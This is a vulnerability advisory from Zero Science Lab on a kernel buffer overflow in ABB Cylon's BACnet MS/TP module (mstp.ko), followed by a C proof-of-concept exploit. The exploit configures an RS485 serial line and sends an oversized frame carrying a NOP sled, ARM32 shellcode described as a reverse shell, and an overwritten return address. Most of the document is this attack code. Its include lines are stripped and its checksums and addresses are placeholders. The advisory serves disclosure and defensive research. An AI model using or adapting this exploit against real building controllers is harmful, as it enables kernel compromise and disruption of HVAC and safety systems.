ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()

Title: ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() Advisory ID: ZSL-2025-5953 Type: Local Impact:…

/*

ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()

Vendor: ABB Ltd.

Product web page: https://www.global.abb

Affected version: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management

and control solution designed to allow users seamless access to their

building data through standard building protocols including smart devices.

BACnet Smart Building Controllers. ABB’s BACnet portfolio features

a series of BACnet IP and BACnet MS/TP field controllers for ASPECT

and INTEGRA building management solutions. ABB BACnet controllers

are designed for intelligent control of HVAC equipment such as central

plant, boilers, chillers, cooling towers, heat pump systems, air

handling units (constant volume, variable air volume, and multi-zone),

rooftop units, electrical systems such as lighting control, variable

frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver

unprecedented connectivity and open integration for your building

automation systems. It’s scalable, and modular, allowing you to

control a diverse range of HVAC functions.

Committee: BACnet.org

InFaq:

A BACnet router is a device that passes a message from one network

to another without changing the form or content of the message. This

kind of device is used to interconnect BACnet networks that have

different media (Ethernet, MS/TP over twisted pair, etc.). It is a

simple device that just routes BACnet messages where they need to go,

without decoding or altering them. A BACnet gateway is a more complex

device that is used to interconnect a BACnet network with a non-BACnet

network (such as Modbus or KNX). A gateway must decode messages on each

network and reformat or translate the information to meet the requirements

of the other network to route messages where they need to go. Gateways

generally require more configuration, commissioning and maintenance

effort than a router, as well as being more costly.

License: GPL

Author: Muiz M. Haider

Description: BACnet MS/TP Serial Line Discipline

:: Master-Slave / Token Passing ::

Desc: A buffer overflow vulnerability exists in the mstp.ko kernel

module, responsible for processing BACnet MS/TP frames over

serial (RS485). The SendFrame() function writes directly into

a statically sized kernel buffer (alloc_entry(0x1f5)) without

validating the length of attacker-controlled data (param_5).

If an MS/TP frame contains a crafted payload exceeding 492 bytes,

the function performs out-of-bounds writes beyond the allocated

501-byte buffer, corrupting kernel memory. This flaw allows local

or physically connected attackers to trigger denial-of-service

or achieve remote code execution in kernel space. Tested against

version 3.08.03 with a custom BACnet frame over /dev/ttyS0.

mstp.KOrruption: Kernel Frame Overflow in BACnet MS/TP Module

(MSTP frame mishandling causes memory corruption in embedded RS485 stack)

Tested on: GNU/Linux Kernel 5.4.27

GNU/Linux Kernel 4.15.13

GNU/Linux 3.15.10 (armv7l)

GNU/Linux 3.10.0 (x86_64)

GNU/Linux 2.6.32 (x86_64)

Intel(R) Atom(TM) Processor E3930 @ 1.30GHz

Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

@zeroscience

Advisory ID: ZSL-2025-5953

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5953.php

21.04.2024

*/

#include
#include

#include

#include

#include

#include

#include

#include

#define DEVICE “/dev/ttyS0” //enum

#define BAUD_RATE B9600 //modify if needed

#define BUFFER_SIZE 510 //>501 triggers overflow

#define PAYLOAD_SIZE 492 //vulnerable write starts after 8-byte offset

#define SHELLCODE_SIZE 30 //size of ARM32 reverse shell

//BACnet MSTP frame used by kernel

struct mstp_frame {

unsigned char preamble[2]; //0x55 0xFF

unsigned char frame_type; //0x00

unsigned char dest_addr; //0x01 (arbitrary)

unsigned char src_addr; //0x02 (arbitrary)

unsigned char length[2]; //2-byte length field

unsigned char header_crc; //dummy for PoC

unsigned char data[PAYLOAD_SIZE];

unsigned char data_crc[2]; //dummy CRC

};

void banner() {

printf(“\n”);

printf(” P R O J E C T\n\n”);

printf(” .|\n”);

printf(” | |\n”);

printf(” |’| ._____\n”);

printf(” ___ | | |. |’ .—\”|\n”);

printf(” _ .-‘ ‘-. | | .–‘| || | _| |\n”);

printf(” .-‘| _.| | || ‘-__ | | | || |\n”);

printf(” |’ | |. | || | | | | || |\n”);

printf(” ____| ‘-‘ ‘ \”\” ‘-‘ ‘-.’ ‘` |____\n”);

printf(“░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(” ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ \n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ \n”);

printf(” ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░\n”);

printf(“\n”);

}

void configure_serial(int fd) {

struct termios tty;

struct serial_rs485 rs485conf;

tcgetattr(fd, &tty);

cfsetospeed(&tty, BAUD_RATE);

cfsetispeed(&tty, BAUD_RATE);

tty.c_cflag = (tty.c_cflag & ~CSIZE) | CS8 | CLOCAL | CREAD;

tty.c_cflag &= ~(PARENB | CSTOPB | CRTSCTS);

tty.c_iflag &= ~(IXON | IXOFF | IXANY);

tty.c_lflag = 0;

tty.c_oflag = 0;

tty.c_cc[VMIN] = 1;

tty.c_cc[VTIME] = 0;

tcsetattr(fd, TCSANOW, &tty);

ioctl(fd, TIOCGRS485, &rs485conf);

rs485conf.flags |= SER_RS485_ENABLED;

rs485conf.flags &= ~(SER_RS485_RTS_ON_SEND);

rs485conf.flags |= SER_RS485_RTS_AFTER_SEND;

ioctl(fd, TIOCSRS485, &rs485conf);

}

//ARM32 reverse shell to /bin/sh (port-agnostic demo shell)

unsigned char shellcode[SHELLCODE_SIZE] = {

0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1,

0x78, 0x46, 0x0c, 0x30, 0x01, 0x90, 0x01, 0xa9,

0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,

0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00

};

void craft_frame(struct mstp_frame *frame) {

frame->preamble[0] = 0x55;

frame->preamble[1] = 0xFF;

frame->frame_type = 0x00;

frame->dest_addr = 0x01;

frame->src_addr = 0x02;

//492-byte payload triggers write at param_1[0x16] + 8 + i

frame->length[0] = (PAYLOAD_SIZE >> 8) & 0xFF;

frame->length[1] = PAYLOAD_SIZE & 0xFF;

frame->header_crc = 0xFF; //mock crc

memset(frame->data, 0x90, PAYLOAD_SIZE); //nop sankata

memcpy(frame->data + PAYLOAD_SIZE – SHELLCODE_SIZE – 4, shellcode, SHELLCODE_SIZE);

//Overwrite dummy ret addr or kernel jump table entry (mock addr)

*(uint32_t *)(frame->data + PAYLOAD_SIZE – 4) = 0xdeadbeef;

frame->data_crc[0] = 0xFF;

frame->data_crc[1] = 0xFF;

}

int main() {

banner();

int fd = open(DEVICE, O_RDWR);

if (fd < 0) {

perror(“Failed to open serial device”);

return 1;

}

configure_serial(fd);

struct mstp_frame frame;

craft_frame(&frame);

size_t frame_size = sizeof(frame);

ssize_t bytes_written = write(fd, &frame, frame_size);

if (bytes_written < 0) {

perror(“Failed to write frame”);

} else {

printf(“[+] Wrote %zd bytes. Buffer overflow attempt sent.\n”, bytes_written);

}

close(fd);

return 0;

}